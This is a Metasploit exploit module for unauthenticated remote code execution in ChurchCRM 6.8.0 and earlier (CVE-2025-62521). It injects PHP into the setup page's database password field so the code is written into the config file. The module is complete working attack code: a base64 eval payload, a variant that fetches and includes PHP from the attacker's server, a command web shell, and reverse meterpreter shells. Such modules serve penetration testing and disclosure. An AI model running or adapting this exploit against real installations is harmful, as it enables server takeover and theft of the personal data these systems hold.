## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'ChurchCRM Unauthenticated RCE via Setup Page', 'Description' => %q{ ChurchCRM <= 6.8.0 allows unauthenticated remote code execution via the setup page. The DB_PASSWORD field in the installation form is written directly into Include/Config.php without sanitization, allowing PHP code injection. The injected config file is then included on every request, triggering the payload. Note that the fix claimed in 5.21.0 only added a strlen check on the password field, leaving the injection intact. }, 'License' => MSF_LICENSE, 'Author' => [ 'Arthur Valverde (uartu0)', # Vulnerability discovery 'LucasCsmt' # Metasploit module ], 'References' => [ ['GHSA', 'm8jq-j3p9-2xf3', 'ChurchCRM/CRM'], ['CVE', '2025-62521'] ], 'Platform' => ['linux', 'php'], 'Targets' => [ [ 'Linux/unix Command (CmdStager)', { 'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => ['linux'], 'Type' => :nix_cmdstager, 'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'] # tested with linux/x64/meterpreter/reverse_tcp } ], [ 'PHP (In-Memory)', { 'Arch' => [ARCH_PHP], 'Platform' => ['php'], 'Type' => :php_memory # tested with php/meterpreter/reverse_tcp } ], [ 'PHP (Fetch)', { 'Arch' => [ARCH_PHP], 'Platform' => ['php'], 'Type' => :php_fetch, 'DefaultOptions' => { 'FETCH_WRITABLE_DIR' => '/tmp' } # tested with php/meterpreter/reverse_tcp } ] ], 'DisclosureDate' => '2025-12-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } ) ) end def check res = send_request_cgi('method' => 'GET', 'uri' => setup_uri) return CheckCode::Unknown('Failed to connect to the target.') unless res return CheckCode::Unknown('Setup page is inaccessible') unless res.code == 200 version = res.headers['CRM-VERSION'] return CheckCode::Detected('Setup page accessible but no version header') unless version return CheckCode::Safe("Version #{version} is not vulnerable") unless Rex::Version.new(version) <= Rex::Version.new('6.8.0') CheckCode::Appears("Vulnerable version #{version}") end def exploit @cmd_param = rand_text_alpha(5..10) inject_config trigger_payload end private def setup_uri normalize_uri(target_uri.path, 'setup', '/') end def inject_config print_status('Injecting payload into Include/Config.php via setup page...') res = send_request_cgi( 'method' => 'POST', 'uri' => setup_uri, 'vars_post' => { 'DB_SERVER_NAME' => rand_text_alpha(5..10), 'DB_SERVER_PORT' => rand(1024..65535).to_s, 'DB_NAME' => rand_text_alpha(5..10), 'DB_USER' => rand_text_alpha(5..8), 'DB_PASSWORD' => build_config_payload, 'ROOT_PATH' => '/', 'URL' => "http://#{rand_text_alpha(5..10)}.com/" } ) fail_with(Failure::UnexpectedReply, 'Setup page did not accept the payload') unless res&.code == 200 end def build_config_payload cleanup = target['Type'] != :nix_cmdstager ? 'unlink(__FILE__);' : '' php = case target['Type'] when :php_memory b64 = Rex::Text.encode_base64(payload.encoded) "eval(base64_decode(\"#{b64}\"));" when :php_fetch start_service f = "#{datastore['FETCH_WRITABLE_DIR']}/#{rand_text_alpha(5..10)}.php" v = rand_text_alpha(1..3) "$#{v}='#{f}';file_put_contents($#{v},file_get_contents('#{get_uri}'));register_shutdown_function('unlink',$#{v});include($#{v});" when :nix_cmdstager "system($_GET['#{@cmd_param}']);" end "#{rand_text_alpha(3)}';#{cleanup}#{php} //" end def trigger_payload if target['Type'] == :nix_cmdstager print_status('Executing cmdstager...') execute_cmdstager(linemax: 500, nodelete: false, background: true) execute_command('rm -f Include/Config.php') return end print_status('Triggering PHP payload...') send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path)) end def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'vars_get' => { @cmd_param => cmd } ) end def on_request_uri(cli, _request) send_response(cli, payload.encoded, 'Content-Type' => 'application/x-httpd-php') end end